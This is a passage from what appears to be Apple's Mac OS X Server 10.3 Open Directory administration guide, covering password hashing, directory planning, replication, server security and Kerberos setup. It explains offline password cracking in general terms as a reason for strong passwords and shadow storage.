hashes can be used for Windows personal file sharing from a Mac OS X computer and can also be used to authenticate Windows file and print services provided by Mac OS X Server. Shadow passwords also provide cached authentication for mobile user accounts. Shadow and crypt do not support all services. Some services require the authentication methods that Open Directory supports, such as APOP, CRAM-MD5, Digest-MD5, MS- CHAPv2, and WebDAV-Digest. For secure transmission of passwords over a network, crypt supports the DHX authentication method. Shadow additionally supports NT and LAN Manager for network-secure authentication. Crypt authentication only supports a maximum password length of eight bytes (eight ASCII characters). If a longer password is entered in a user account, only the first eight bytes are used for crypt password validation. The eight-character limit does not apply to a shadow password. With a shadow password, the first 128 characters are used for NT authentication, and the first 14 characters are used for LAN Manager authentication. Encrypting Shadow and Crypt Passwords in User Accounts Shadow and crypt passwords are not stored in clear text; they are concealed and made illegible by encryption. Shadow and crypt encrypt a password by feeding the clear text password along with a random number to a mathematical function, known as a one-way hash function. A one-way hash function always generates the same encrypted value from particular input, but cannot be used to recreate the original password from the encrypted output it generates. To validate a password using the encrypted value, Mac OS X applies the function to the password entered by the user and compares it with the value stored in the user account. If the values match, the password is considered valid. LL2352.Book Page 40 Friday, August 22, 2003 3:12 PM Chapter 3 User Authentication With Open Directory 41 Different hash functions are used to encrypt shadow and crypt passwords. For crypt passwords, the standard UNIX crypt function is used. Shadow passwords are encrypted using several hash functions, including NT and LAN Manager. Cracking Readable Passwords Because crypt passwords are stored directly in user accounts, they are potentially subject to cracking. User accounts in a shared directory domain are openly accessible on the network. Anyone on the network who has Workgroup Manager or knows how to use command-line tools can read the contents of user accounts, including the passwords stored in them. A malicious user, or cracker, could use Workgroup Manager or UNIX commands to copy user records to a file. The cracker can transport this file to a system and use various techniques to figure out which unencrypted passwords generate the encrypted passwords stored in the user records. After identifying a password, the cracker can log in unnoticed with a legitimate user name and password. This form of attack is known as an offline attack, since it does not require successive login attempts to gain access to a system. A very effective way to thwart password cracking is to use good passwords. A password should contain letters, numbers, and symbols in combinations that won’t be easily guessed by unauthorized users. Passwords should not consist of actual words. Good passwords might include digits and symbols (such as # or $). Or they might consist of the first letter of all the words in a particular phrase. Use both uppercase and lowercase letters. Note: Shadow and Open Directory passwords are far less susceptible to offline attack because they are not stored in user records. Shadow passwords are stored in separate files that can be read only by someone who knows the password of the root user (also known as the System Administrator). Open Directory passwords are stored securely in the Kerberos KDC and in the Open Directory Password Server database. A user’s Open Directory password can’t be read by other users, not even by a user with administrator rights for Open Directory authentication. (This administrator can only change Open Directory passwords and password policies.) LL2352.Book Page 41 Friday, August 22, 2003 3:12 PM 42 Chapter 3 User Authentication With Open Directory LDAP Bind Authentication For user accounts that reside in an LDAP directory on a non-Apple server, Open Directory attempts to use simple LDAP bind authentication. Open Directory sends the LDAP directory server the name and password supplied by the authenticating user. If the LDAP server finds a matching user record and password, authentication succeeds. Simple LDAP bind authentication is inherently insecure because it transmits clear text passwords over the network. But you can secure simple LDAP bind authentication by setting up access to the LDAP directory via the Secure Sockets Layer (SSL) protocol. SSL makes access secure by encrypting all communications with the LDAP directory. LL2352.Book Page 42 Friday, August 22, 2003 3:12 PM 4 43 4 Open Directory Planning Like the plumbing and wiring in a building, directory services for a network must be planned in advance, not on an ad hoc basis. Keeping information in shared directory domains gives you more control over your network, allows more users access to the information, and makes maintaining the information easier for you. But the amount of control and convenience depends on the effort you put into planning your shared domains. The goal of directory domain planning is to design the simplest arrangement of shared domains that gives your Mac OS X users easy access to the network resources they need and minimizes the time you spend maintaining user records and other administrative data. This chapter presents guidelines for planning Open Directory services and describes tools for managing them. General Planning Guidelines If you do not need to share user and resource information among multiple Mac OS X computers, there is very little directory domain planning necessary. Everything can be accessed from local directory domains. Just ensure that all individuals who need to use a particular Mac OS X computer are defined as users in the local directory domain on the computer. Local directory domain Local directory domain Log in to Mac OS X Connect to Mac OS X Server for file service LL2352.Book Page 43 Friday, August 22, 2003 3:12 PM 44 Chapter 4 Open Directory Planning If you want to share information among Mac OS X computers, you need to set up at least one shared directory domain. A single shared directory domain may be completely adequate if all your network computer users share the same resources, such as printers, share points for home directories, share points for applications, and share points for documents. Larger, more complex organizations can benefit from additional shared directory domains. Controlling Data Accessibility If your network has several shared directory domains, you can make directory information visible only to subsets of a network’s computers. In the foregoing example arrangement, the administrator can tailor the users and resources visible to the community of Mac OS X computers by distributing directory information among four shared directory domains. Shared directory domain Local directory domain Local directory domain Log in to Mac OS X Connect to Mac OS X Server for file service School directory domain Science directory domain Math directory domain English directory domain 1 2 3 Search Policy LL2352.Book Page 44 Friday, August 22, 2003 3:12 PM Chapter 4 Open Directory Planning 45 If you want all computers to have access to certain administrative data, you store the data in a shared directory domain that is in all computers’ search policies. To make some data accessible only to a subset of computers, you store it in a shared directory domain that is only in the search policies of those computers. Simplifying Changes to Data in Directories If you need more than one shared directory domain, you should organize your search policies to minimize the number of places data has to change over time. You should also devise a plan that addresses how you want to manage such ongoing events as: • New users joining and leaving your organization • File servers being added, enhanced, or replaced • Printers being moved among locations You’ll want to try to make each directory domain applicable to all the computers that use it so you don’t have to change or add information in multiple domains. In the foregoing illustration of multilevel shared domains, adding a new student to a class’s shared domain enables the student to log in to any of the class’s computers. As instructors are hired or retire, the administrator can make adjustments to user information simply by editing the school’s shared domain. If you have a widespread or complex hierarchy of directory domains in a network that is managed by several administrators, you need to devise strategies to minimize conflicts. For example, you can predefine ranges of user IDs (UIDs) to avoid inadvertent file access. (For more information, see the chapter on setting up accounts in the user management guide.) Estimating Directory and Authentication Requirements In addition to considering how you want to distribute directory data among multiple domains, you must also consider the capacity of each directory domain. A number of factors affect how large a directory domain can be. One factor is the performance of the database that stores the directory information. The LDAP directory domain of Mac OS X Server version 10.3 and later uses the Berkeley DB database, which will remain efficient with 100,000 records. Of course, a server hosting a directory domain of that size would need sufficient hard disk space to store all the records. The number of connections that a directory service can handle is harder to measure because directory service connections occur in the context of the connections of all the services that the server provides. With Mac OS X Server version 10.3, a server dedicated to Open Directory has a limit of 250 simultaneous client computer connections. LL2352.Book Page 45 Friday, August 22, 2003 3:12 PM 46 Chapter 4 Open Directory Planning The Open Directory server may actually be able to provide LDAP and authentication services to more client computers, because all the client computers will not need these services at once. Each client computer connects to the LDAP directory for up to two minutes, and connections to the Open Directory Password Server are even shorter lived. For example, an Open Directory server may be able to support 750 client computers because the odds are that only a fraction of the client computers that could make a connection with Open Directory will actually make connections at the same time. Determining what the fraction is—what percentage of the potential client computers will make connections at the same time—can be difficult. For example, client computers that each have a single user who spends all day working on graphics files will need Open Directory services relatively infrequently. In contrast, computers in a lab will have many users logging in throughout the day, each with a different set of managed client preference settings, and these computers will place a relatively high load on Open Directory services. In general, you can correlate Open Directory usage with login and logout. These activities will generally dominate directory and authentication services in any system. The more frequently users log in and out, the fewer client computers an Open Directory server (or any directory and authentication server) can support. You need more Open Directory servers if users log in very frequently. You can get by with fewer Open Directory servers if work sessions are long duration and login is infrequent. Identifying Servers for Hosting Shared Domains If you need more than one shared domain, you need to identify the servers on which shared domains should reside. Shared domains affect many users, so they should reside on Mac OS X Server computers that have the following characteristics: • Restricted physical access • Limited network access • Equipped with high-availability technologies, such as uninterruptible power supplies You should select computers that will not be replaced frequently and that have adequate capacity for growing directory domains. While you can move a shared domain after it has been set up, you may need to reconfigure the search policies of computers that bind to the shared domain so that their users can continue to log in. LL2352.Book Page 46 Friday, August 22, 2003 3:12 PM Chapter 4 Open Directory Planning 47 Replicating Open Directory Services Mac OS X Server supports replication of the LDAP directory service, the Open Directory Password Server, and the Kerberos KDC. By replicating your directory and authentication services you can: • Move directory information closer to a population of users in a geographically distributed network, improving performance of directory and authentication services to these users. • Achieve redundancy, so that users see little disruption in service if a directory system fails or becomes unreachable. One server has a primary copy of the shared LDAP directory domain, Open Directory Password Server, and Kerberos Key Distribution Center (KDC). This server is called an Open Directory master. Each Open Directory replica is a separate server with a copy of the master’s LDAP directory, Open Directory Password Server, and Kerberos KDC. Access to the LDAP directory on a replica is read only. All changes to user records and other account information in the LDAP directory can be made only on the Open DIrectory master. The Open Directory master automatically updates its replicas with changes to the LDAP directory. The master can update the replicas every time a change occurs, or you can set up a schedule so that updates occur only at regular intervals. The fixed schedule option is best if replicas are connected to the master by a slow network link. Passwords and password policies can be changed on any replica. If a user’s password or password policy is changed on more than one replica, the most recent change prevails. The updating of replicas relies on the clocks of the master and all replicas being in sync. If replicas and the master have a wildly different notion of time, updating could be somewhat arbitrary. The date, time, and time zone information needs to be correct on the master and replicas, and they all should use the same network time service to keep their clocks in sync. Replication in a Multi-Building Campus A network that spans multiple buildings may have slower network links between buildings than within each building. The network links between buildings may also be overloaded. These conditions can adversely affect the performance of computers that get Open Directory services from a server in another building. Accordingly, you may want to set up an Open Directory replica in each building. Depending on need, you may even want to set up an Open Directory replica on each floor of a multistory building. Each replica provides efficient directory and authentication services to client computers in its vicinity. The client computers do not have to make connections with an Open Directory server across the slow, crowded network link between buildings. LL2352.Book Page 47 Friday, August 22, 2003 3:12 PM 48 Chapter 4 Open Directory Planning Having more replicas does have a disadvantage. Replicas communicate with each other and with the master over the network. This network communication overhead increases as you add replicas. Adding too many replicas can actually add more network traffic between buildings in the form of replication updates than it removes in the form of Open Directory client communications. Therefore in deciding how many replicas to deploy, you must consider how heavily the client computers will use Open Directory services. If the client computers are relatively light users of Open Directory services on average and your buildings are connected by fairly fast network links (such as 100 Mbit/s Ethernet), you probably do not need a replica in each building. You can reduce the communication overhead between Open Directory replicas and the master by scheduling how often the Open Directory master updates the replicas. You might not need the replicas updated every time a change occurs in the master. Scheduling less frequent updates of replicas will improve performance of the network. Improving Performance and Redundancy You can improve the performance of Open Directory services by adding more memory to the server and having it provide fewer services. This strategy applies to every other service of Mac OS X Server as well. The more you can dedicate an individual server to a particular task, the better its performance will be. Beyond that general strategy, you can also improve Open Directory server performance by directing the LDAP database to its own disk volume and the Open Directory logs to another disk volume. If your network will include replicas of an Open Directory master, you can improve performance of the network by scheduling less frequent updates of replicas. Updating less frequently means the replicas have less up-to-date directory data. You have to strike a balance between higher network performance and less accuracy in your replicas. For greater redundancy of Open Directory services, you can set up additional servers as Open Directory replicas. Another strategy for increasing redundancy is to use servers with RAID sets for Open Directory services. LL2352.Book Page 48 Friday, August 22, 2003 3:12 PM Chapter 4 Open Directory Planning 49 Open Directory Security With Mac OS X Server version 10.3, a server that has a shared LDAP directory domain also provides Open Directory authentication. The authentication data stored by Open Directory is particularly sensitive. This authentication data includes the Open Directory Password Server database and the Kerberos database, which is extraordinarily sensitive. Therefore you need to make sure that an Open Directory master and all Open Directory replicas are secure: • Physical security of a server that is an Open Directory master or replica is paramount. It should be behind a locked door. It should always be left logged out. • Secure the media you use to back up an Open Directory Password Server database and a Kerberos database. Having your Open Directory servers behind locked doors won’t protect a backup tape that you leave on your desk every night. • If possible, do not use a server that is an Open Directory master or replica to provide any other services. If you can’t dedicate servers to be Open Directory master and replicas, at least minimize the number of other services they provide. One of the other services could have a security breach that allows someone inadvertent access to the Kerberos or Open Directory Password Server databases. Dedicating servers to providing Open Directory services is an optimal practice but not required. • Avoid using a RAID volume that’s shared with other computers as the startup volume of a server that is an Open Directory master or replica. A security breach on one of the other computers could jeopardize the security of the Open Directory authentication information. • Set up IP firewall service to block all ports except ports used for directory, authentication, and administration protocols. • Open Directory Password Server uses ports 106 and 3659. • The Kerberos KDC uses TCP/UDP port 88, and TCP/UDP port 749 is used for Kerberos administration. • The shared LDAP directory uses TCP port 389 for an ordinary connection and TCP port 636 for an SSL connection. • Workgroup Manager uses TCP port 311 and 625. • Server Admin uses TCP port 311. • SMB uses TCP/UDP ports 137, 138, 139, and 445. • Equip the Open Directory master computer with an uninterruptible power supply. In summary, the most secure and best practice is to dedicate each server that is an Open Directory master or replica to provide only Open Directory services. Set up a firewall on each of these servers to allow only directory access, authentication, and administration protocols: LDAP, Password Server, Kerberos, Workgroup Manager, and Server Manager. Physically secure each Open Directory server and all backup media used with it. LL2352.Book Page 49 Friday, August 22, 2003 3:12 PM 50 Chapter 4 Open Directory Planning Replication introduces a minimal increase in security risk. The replicated LDAP directory data has no access controls to restrict reading it, so anyone on the network can download the entire directory irrespective of replication. The password data is securely replicated using random keys negotiated during each replication session. The authentication portion of replication traffic—the Open Directory Password Server and the Kerberos KDC—is fully encrypted. For extra security, you could configure network connections between the Open Directory servers to use network switches rather than hubs. This configuration would isolate authentication replication traffic to trusted network segments. Tools for Managing Open Directory Services The Server Admin, Directory Access, and Workgroup Manager applications provide a graphical interface for managing Open Directory services in Mac OS X Server. In addition, you can manage Open Directory services from the command line by using Terminal. If your network includes legacy NetInfo domains, you can manage them with the Inspector in Workgroup Manager. (You could also use NetInfo Manager.) All these applications are included with Mac OS X Server and can be installed on another computer with Mac OS X version 10.3 or later, making that computer an administrator computer. For more information on setting up an administrator computer, see the server administration chapter of the getting started guide. Server Admin You use Server Admin to: • Set up Mac OS X Server as an Open Directory master, an Open Directory replica, a server that’s connected to a directory system, or a standalone server with only a local directory. For instructions, see Chapter 5, “Setting Up Open Directory Services.” • Set up additional Mac OS X Server systems to use the Kerberos KDC of an Open Directory master or replica. For instructions, see Chapter 5. • Migrate an upgraded server’s shared directory domain from NetInfo to LDAP. For instructions, see Chapter 5. • Configure LDAP options on an Open Directory master. For instructions, see Chapter 5. • Configure DHCP service to supply an LDAP server address to Mac OS X computers with automatic search policies. For instructions, see the DHCP chapter of the network services administration guide. • Set up password policies that apply to all users who don’t have overriding individual password policies. For instructions, see Chapter 6, “Managing User Authentication.” (To set up individual password policies, use Workgroup Manager; see Chapter 6.) • Monitor Open Directory services. For instructions, see Chapter 8, “Maintenance and Problem Solving.” LL2352.Book Page 50 Friday, August 22, 2003 3:12 PM Chapter 4 Open Directory Planning 51 For basic information about using Server Admin, see the chapter on server administration in the getting started guide. Server Admin is installed in /Applications/Server/. Directory Access You use Directory Access to: • Enable or disable kinds of directory services and kinds of network service discovery on a Mac OS X computer. • Define authentication and contacts search policies for a Mac OS X computer. • Configure connections to LDAP directories, an Active Directory domain, an NIS domain, and NetInfo domains. • Configure data mapping for LDAP directories. Directory Access can connect to other computers on your network so you can configure them remotely. For instructions on using Directory Access, see Chapter 7, “Managing Directory Access.” Directory Access is installed on every Mac OS X computer in /Applications/Utilities/. Workgroup Manager You use Workgroup Manager to: • Set up and manage user, group, and computer accounts. For instructions, see the chapters on user, group, and computer accounts in the user management guide and the Windows services administration guide. • Manage share points for file service and for user home directories and roaming user profiles. For instructions, see the chapter on share points in the file services administration guide and the chapter on managing Windows services in the Windows services administration guide. • Access the Inspector, which lets you work with all Open Directory records and attributes. For instructions, see Chapter 8, “Maintenance and Problem Solving.” For basic information about using Workgroup Manager, see the chapter on server administration in the getting started guide. Workgroup Manager is installed in /Applications/Server/. Command-Line Tools A full range of command-line tools are available for administrators who prefer to use command-driven server administration. For remote server management, submit commands in a Secure Shell (SSH) session. You can type commands on Mac OS X servers and computers by using the Terminal application, located in /Applications/ Utilities/. For instructions, see the command-line administration guide. LL2352.Book Page 51 Friday, August 22, 2003 3:12 PM 52 Chapter 4 Open Directory Planning NetInfo Manager You use NetInfo Manger to view and change records, attributes, and values in legacy NetInfo domains on computers that still use or have been upgraded from Mac OS X Server version 10.2 or earlier. You can do these same tasks by using the Inspector in Workgroup Manager. You can also use NetInfo Manager to manage a legacy NetInfo hierarchy and back up and restore a legacy NetInfo domain. NetInfo Manager is located in /Applications/Utilities/. LL2352.Book Page 52 Friday, August 22, 2003 3:12 PM 5 53 5 Setting Up Open Directory Services You can use Server Admin to set up the Open Directory role of a server, set up single signon and Kerberos authentication services, configure LDAP options, and migrate from NetInfo to LDAP. Open Directory services—directory services and authentication services—are an essential part of a network’s infrastructure. These services have a significant effect on other network services and on users. Therefore Open Directory must be set up correctly from the beginning. Setup Overview Here is a summary of the major tasks you perform to set up Open Directory services. See the pages indicated for detailed information about each step. Step 1: Before you begin, do some planning See “Before You Begin” on page 54 for a list of items to think about before you configure Open Directory on Mac OS X Server. Step 2: Set up your Open Directory master See “Setting Up an Open Directory Master” on page 56 and “Setting LDAP Options” on page 63. Step 3: Set up replicas of your Open Directory master See “Setting Up an Open Directory Replica” on page 57 and “Setting LDAP Options” on page 63. Step 4: Set up servers that connect to other directory systems See “Setting Up a Connection to a Directory System” on page 60. Step 5: Set up single signon and Kerberos authentication See “Setting Up Single Signon and Kerberos” on page 61. LL2352.Book Page 53 Friday, August 22, 2003 3:12 PM 54 Chapter 5 Setting Up Open Directory Services Step 6: Migrate upgraded servers from NetInfo to LDAP See “Migrating a Directory Domain From Netinfo to LDAP” on page 66 and “Disabling NetInfo After Migrating to LDAP” on page 69. Step 7: Set up Directory Access on servers and client computers See Chapter 7, “Managing Directory Access.” Before You Begin Before setting up Open Directory services for the first time: • Understand the uses of directory data and assess your directory needs. Identify the services that require data from directory domains, and determine which users will need access to those services. Users whose information can be managed most easily on a server should be defined in the shared LDAP directory of a Mac OS X Server that is an Open Directory master. Some of these users may instead be defined in directory domains on other servers, such as an Active Directory domain on a Windows server. These concepts are discussed in Chapter 1, “Directory Service Concepts.” • Assess whether you need more than one shared domain. If so, decide which users will be defined in each shared domain. See Chapter 2, “Open Directory Search Policies,” for more information. • Determine which authentication options users need. For descriptions of the available options, see Chapter 3, “User Authentication With Open Directory.” • Decide how to organize your directory domains, including replicas of Open Directory masters. Chapter 4, “Open Directory Planning,” provides some guidelines. • Pick server administrators very carefully. Give only trusted people administrator passwords. Have as few administrators as possible. Don’t delegate administrator access for minor tasks, such as changing settings in a user record. Important: Directory information is authoritative. It vitally affects everyone whose computers use it. Setting Up Open Directory With Server Assistant The initial setup of Open Directory occurs when you use Server Assistant during installation of Mac OS X Server. For instructions on using Server Assistant, see the getting started guide. LL2352.Book Page 54 Friday, August 22, 2003 3:12 PM Chapter 5 Setting Up Open Directory Services 55 Managing Open Directory on a Remote Server You can install Server Admin on a computer with Mac OS X version 10.3 or later and use it to manage Open Directory on any server locally or remotely. You can also manage Open Directory remotely by using command-line tools from a Mac OS X computer or a non-Macintosh computer. For more information, see the server administration chapter of the getting started guide. Setting Up a Standalone Server Using Server Admin, you can set up Mac OS X Server to use only the server’s local directory domain. The server does not provide directory information to other computers or get directory information from an existing system. (The local directory domain cannot be shared.) Important: If you change Mac OS X Server to get directory information only from its local directory domain, then user records and other information that the server formerly retrieved from a shared directory domain will become unavailable: • The user records and other information will still exist in the shared directory domain but will become unavailable to the server’s users and services. • Files and folders on the server may become unavailable to users whose accounts are in the shared directory domain. • If the server was an Open Directory master and other servers were connected to it: • Services may be disrupted on the connected servers when the user accounts and other information in the shared directory domain become unavailable. • Users whose accounts are in the shared directory domain may no longer be able to access files and folders on the Open Directory master and on other servers that were connected to its shared LDAP directory domain. You can back up the LDAP directory and Open Directory Password Server database before changing from Open Directory master to standalone server. For instructions, see “Backing Up Open Directory Files” on page 118. To configure a server to use only its own nonshared local directory domain: 1 Open Server Admin and select Open Directory for a server in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click General (near the top). 3 Choose Standalone Server from the Role pop-up menu. 4 If you are sure that users and services no longer need access to the directory data stored in the shared directory domain that the server has been hosting or connected to, click Save. LL2352.Book Page 55 Friday, August 22, 2003 3:12 PM 56 Chapter 5 Setting Up Open Directory Services Setting Up an Open Directory Master Using Server Admin, you can set up Mac OS X Server to be an Open Directory master so it can provide directory information and authentication information to other systems. Mac OS X Server provides directory information by hosting a shared LDAP directory domain. In addition, the server authenticates users whose accounts are stored in the shared LDAP directory domain. Important: If you change a Mac OS X Server computer that was connected to another directory system to be an Open Directory master instead, the server remains connected to the other directory system. The server will search for user records and other information in its shared LDAP directory domain before searching in other directory systems to which it is connected. To configure a server to host a shared LDAP domain: 1 Open Server Admin and select Open Directory for a server in the Computers & Services list. A server must have Mac OS X Server version 10.3 or later to be an Open Directory master. 2 Click Settings (near the bottom of the window), then click General (near the top). 3 Choose Open Directory Master from the Role pop-up menu and enter the requested information. Administrator short name: The short name of an administrator account in the server’s local directory domain that you want to have copied to the new shared LDAP directory. This account will be an administrator of the LDAP directory domain. Administrator password: The password for the administrator account whose short name you entered. Kerberos realm name: By convention, the Kerberos realm name is the same as the server’s DNS name but in all uppercase letters. For example, a server whose DNS name is example.com would have a Kerberos realm name of EXAMPLE.COM. Search base (optional): The search base suffix for the new LDAP directory. Typically, the search base suffix is derived from the server’s DNS name. For example, the search base suffix could be “dc=example, dc=com” for a server whose DNS name is server.example.com. 4 Click OK, then click Save. After setting up a Mac OS X Server computer to be an Open Directory master, you can configure other computers with Mac OS X or Mac OS X Server to access the server’s shared LDAP directory domain: LL2352.Book Page 56 Friday, August 22, 2003 3:12 PM Chapter 5 Setting Up Open Directory Services 57 • You can configure DHCP service to supply the Open Directory master as an LDAP server to computers with automatic search policies. Computers with Mac OS X or Mac OS X Server version 10.2 can have automatic search policies. These computers don’t have to be configured individually to access the LDAP server. When these computers start up, they try to get the address of an LDAP server from DHCP service. • You can configure a computer to access the server’s LDAP directory and then add the server’s LDAP directory to the computer’s custom search policy. For instructions on configuring DHCP to supply an LDAP server’s address, see the network services administration guide. For instructions on setting up search policies and configuring access to specific LDAP directory domains, see Chapter 7, “Managing Directory Access.” Setting Up an Open Directory Replica Using Server Admin, you can set up Mac OS X Server to be a replica of an Open Directory master so it can provide the same directory information and authentication information to other systems as the master. The replica server hosts a read-only copy of the master’s LDAP directory domain. The replica server also hosts a read/write copy of the authentication database associated with the master directory domain and the Kerberos Key Distribution Center (KDC). Open Directory replicas can provide these benefits: • In a wide area network (WAN) of local area networks (LANs) interconnected by slow links, replicas on the LANs can provide servers and client computers with fast access to user accounts and other directory information. • A replica provides redundancy. If the Open Directory master fails, computers connected to it automatically switch to a nearby replica. This automatic failover behavior is a feature of version 10.3 and later of Mac OS X and Mac OS X Server. Important: When you set up an Open Directory replica, all the directory and authentication data must be copied to it from the Open Directory master. Replication may take several seconds or several minutes depending on the size of the directory domain. Replication over a slow network link can take a very long time. During replication, the master cannot provide directory or authentication services. User accounts in the master LDAP directory can’t be used to log in or authenticate for services until replication is finished. To minimize the disruption of directory service, set up a replica before the master LDAP directory is fully populated or at a time of day when the directory service is not needed. Having another replica already set up will insulate clients of directory service from the master being unavailable. LL2352.Book Page 57 Friday, August 22, 2003 3:12 PM 58 Chapter 5 Setting Up Open Directory Services Important: If you change a Mac OS X Server computer that was connected to another directory system to be an Open Directory replica instead, the server remains connected to the other directory system. The server will search for user records and other information in its shared LDAP directory domain before searching in other directory systems to which it is connected. To configure a server to host a replica of an Open Directory master: 1 Open Server Admin and select Open Directory for a server in the Computers & Services list. A server must have Mac OS X Server version 10.3 or later to be an Open Directory replica. 2 Click Settings (near the bottom of the window), then click General (near the top). 3 Choose Open Directory Replica from the Role pop-up menu and enter the requested information. IP address of LDAP master: Enter the IP address of the server that is the Open Directory master. root’s password on LDAP master: Enter the password of the Open Directory master system’s root user (user name System Administrator). Password Server admin’s name on replica: Enter the name of an administrator account whose password type is Open Directory. Password Server admin’s password on replica: Enter the password of the administrator account whose name you entered. 4 Click OK, then click Save. 5 Make sure the date, time, and time zone are correct on the replica and the master. The replica and the master should use the same network time service so their clocks remain in sync. After you set up an Open Directory replica, other computers will connect to it automatically as needed. Computers with version 10.3 and later of Mac OS X and Mac OS X Server maintain a list of all replicas of an Open Directory master to which they are connected. If one of these computers can’t contact the Open Directory master for directory and authentication services, the computer automatically connects to the nearest replica of the master. LL2352.Book Page 58 Friday, August 22, 2003 3:12 PM Chapter 5 Setting Up Open Directory Services 59 You can configure Mac OS X computers to connect to an Open Directory replica instead of the Open Directory master for directory and authentication services. On each Mac OS X computer, you can use Directory Access to create an LDAPv3 configuration for accessing the replica’s LDAP directory and set up a custom search policy that includes this LDAPv3 configuration. You can also configure a DHCP service to supply the replica’s LDAP directory to Mac OS X computers that get the address of an LDAP server from the DHCP service. See “Accessing LDAP Directories” on page 90 and “Defining Automatic Search Policies” on page 88. See the network services administration guide for instructions on setting up DHCP service to supply an LDAP server’s address. The Open Directory master automatically updates the replica. You can configure the master to update its replicas at a specific interval or whenever the master directory changes. For instructions, see “Setting the Replication Frequency of an Open Directory Master” on page 64. Setting Up Open Directory Failover If an Open Directory master or any of its replicas become unavailable, its client computers with Mac OS X version 10.3 or Mac OS X Server version 10.3 will automatically find an available replica and connect to it. Replicas only allow clients to read directory information. Directory information on a replica can’t be modified with administration tools such as Workgroup Manager. Users whose password type is Open Directory can change their passwords on computers that are connected to Open Directory replicas. The replicas automatically synchronize password changes with the master. If the master is unavailable for a while, the replicas synchronize password changes with the master when it becomes available again. If an Open Directory master or replica becomes unavailable and it has client computers with version 10.2 or earlier of Mac OS X or Mac OS X Server, these client computers must be reconfigured manually to connect to an available replica. You can use Directory Access to create an LDAPv3 configuration that specifies how the computer accesses an available replica. For instructions, see “Accessing LDAP Directories” on page 90. LL2352.Book Page 59 Friday, August 22, 2003 3:12 PM 60 Chapter 5 Setting Up Open Directory Services Setting Up a Connection to a Directory System Using Server Admin, you can set up Mac OS X Server to get user records and other directory information from another server’s shared directory domain. The other server also provides authentication for its directory information. Mac OS X Server will still get directory information from its own local directory domain and will provide authentication for this directory information. Important: Changing Mac OS X Server to be connected to another directory system instead of being an Open Directory master will deactivate its shared LDAP directory domain, with the following ramifications: • User records and other directory information will still exist in the deactivated directory domain but will be unavailable to the server’s users and services. • If other servers were connected to the master directory domain, their services may be disrupted when the user accounts and other information in the deactivated directory domain become unavailable. • Users who had accounts in the deactivated directory domain may no longer be able to access files and folders on the Open Directory master and on other servers that were connected to the master directory domain. To configure a server to get directory services from an existing system: 1 Open Server Admin and select Open Directory for a server in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click General (near the top). 3 Choose “Connected to a Directory System” from the Role pop-up menu. 4 If the server was an Open Directory master and you are sure that users and services no longer need access to the directory data stored in the shared directory domain that the server has been hosting, click Save. 5 Click the Open Directory Access button to configure access to one or more directory systems. For instructions on configuring access to a particular kind of directory service, see Chapter 7, “Managing Directory Access.” Note: If you connect Mac OS X Server version 10.3 or later to a directory domain of Mac OS X Server version 10.2 or earlier, be aware that users defined in the older directory domain cannot be authenticated with the MS-CHAPv2 method. This method may be required to securely authenticate users for the VPN service of Mac OS X Server version 10.3 and later. Open Directory in Mac OS X Server version 10.3 supports MS- CHAPv2 authentication, but Password Server in Mac OS X Server version 10.2 does not support MS-CHAPv2. LL2352.Book Page 60 Friday, August 22, 2003 3:12 PM Chapter 5 Setting Up Open Directory Services 61 Setting Up Single Signon and Kerberos Setting up single signon and Kerberos authentication involves these tasks: • An administrator who has authority to manage directory domains sets up a server as an Open Directory master, which hosts a Kerberos Key Distribution Center (KDC). See “Setting Up an Open Directory Master for Single Signon and Kerberos” on page 61. • The network administrator delegates to specific server administrators the authority to join their servers to the Open Directory master server for single signon and Kerberos authentication. (If you want to set up a server to join an Open Directory master for single signon and Kerberos, you must delegate authority to yourself.) See “Delegating Authority to Join an Open Directory Master for Single Signon and Kerberos” on page 62. • Delegated administrators join their servers to the Open Directory master, which then provides single signon and Kerberos authentication for services provided by the servers that have joined. See “Joining a Server to an Open Directory Master for Single Signon and Kerberos” on page 63. • All computers using single signon and Kerberos should be set to the correct date, time, and time zone. They should all be configured to use the same network time server. Kerberos depends on the clocks of all participating computers being in sync. • DNS must be available on the network. The individual services of Mac OS X Server version 10.3 and later do not require any configuration for single signon or Kerberos. The following services are ready for Kerberos and single signon on every server with Mac OS X Server version 10.3 and later that is an Open Directory master or has joined one: • Login window • Mail service • FTP • AFP service • SSH These services are “Kerberized” whether they are running or not. Setting Up an Open Directory Master for Single Signon and Kerberos You can provide single signon and Kerberos authentication on your network by setting up an Open Directory master. You can set up an Open Directory master during the initial configuration that follows installation of Mac OS X Server version 10.3 and later. If you have set up Mac OS X Server to have a different Open Directory role, you can change its role to that of Open Directory master by using Server Admin. LL2352.Book Page 61 Friday, August 22, 2003 3:12 PM 62 Chapter 5 Setting Up Open Directory Services A server that is an Open DIrectory master requires no additional configuration to support single signon and Kerberos authentication for all the Kerberized services that the server itself provides. This server can also support single signon and Kerberos authentication for Kerberized services of other servers on the network. The other servers must be set up to join the Open Directory master for single signon and Kerberos. For instructions, see the getting started guide, “Setting Up an Open Directory Master” on page 56, “Delegating Authority to Join an Open Directory Master for Single Signon and Kerberos” on page 62, and “Joining a Server to an Open Directory Master for Single Signon and Kerberos” on page 63. Delegating Authority to Join an Open Directory Master for Single Signon and Kerberos Using Server Admin, you can delegate the authority to join a server to an Open Directory master for single signon and Kerberos authentication. You can delegate authority to one or more user accounts on one server. The user accounts to which you are delegating authority must have a password type of Open Directory and must reside in the LDAP directory of the Open Directory master. The server for which you are delegating authority must have Mac OS X Server version 10.3 or later. If you want to delegate authority for more than one server, repeat this procedure for each one. Important: If a delegated administrator’s account is deleted and recreated on the target server, the new account will not have authority to join the Kerberos server. As a precaution, you should delegate authority to at least two accounts on the target server. One account can belong to a network administrator (an administrator of the Kerberos domain). To delegate authority to join an Open Directory master for single signon and Kerberos: 1 Open Workgroup Manager, make sure the target server has been added to a computer account in the LDAP directory domain of the server from which you’re delegating authority, and note the name of the target server in the computer account. 2 The name of the target server in the computer account corresponds to the name of the server’s computer record in the LDAP directory domain. Adding the server to a computer account creates a computer record for the server. For instructions on adding the server to a computer account, see the computer accounts chapter of the user management guide. Open Server Admin and select Open Directory for the Open Directory master server in the Computers & Services list. 3 Click Settings (near the bottom of the window), then click General (near the top). 4 Confirm that the Role is Open Directory Master, then click Add Kerberos Record and enter the requested information. LL2352.Book Page 62 Friday, August 22, 2003 3:12 PM Chapter 5 Setting Up Open Directory Services 63 Administrator Name: Enter the name of an LDAP directory administrator on the Open Directory master server. Administrator Password: Enter the password of the administrator account you entered. Configuration Record Name: Enter the computer record name of the server for which you are delegating authority to join Kerberos. The server’s computer record name is the same as the server’s name in a 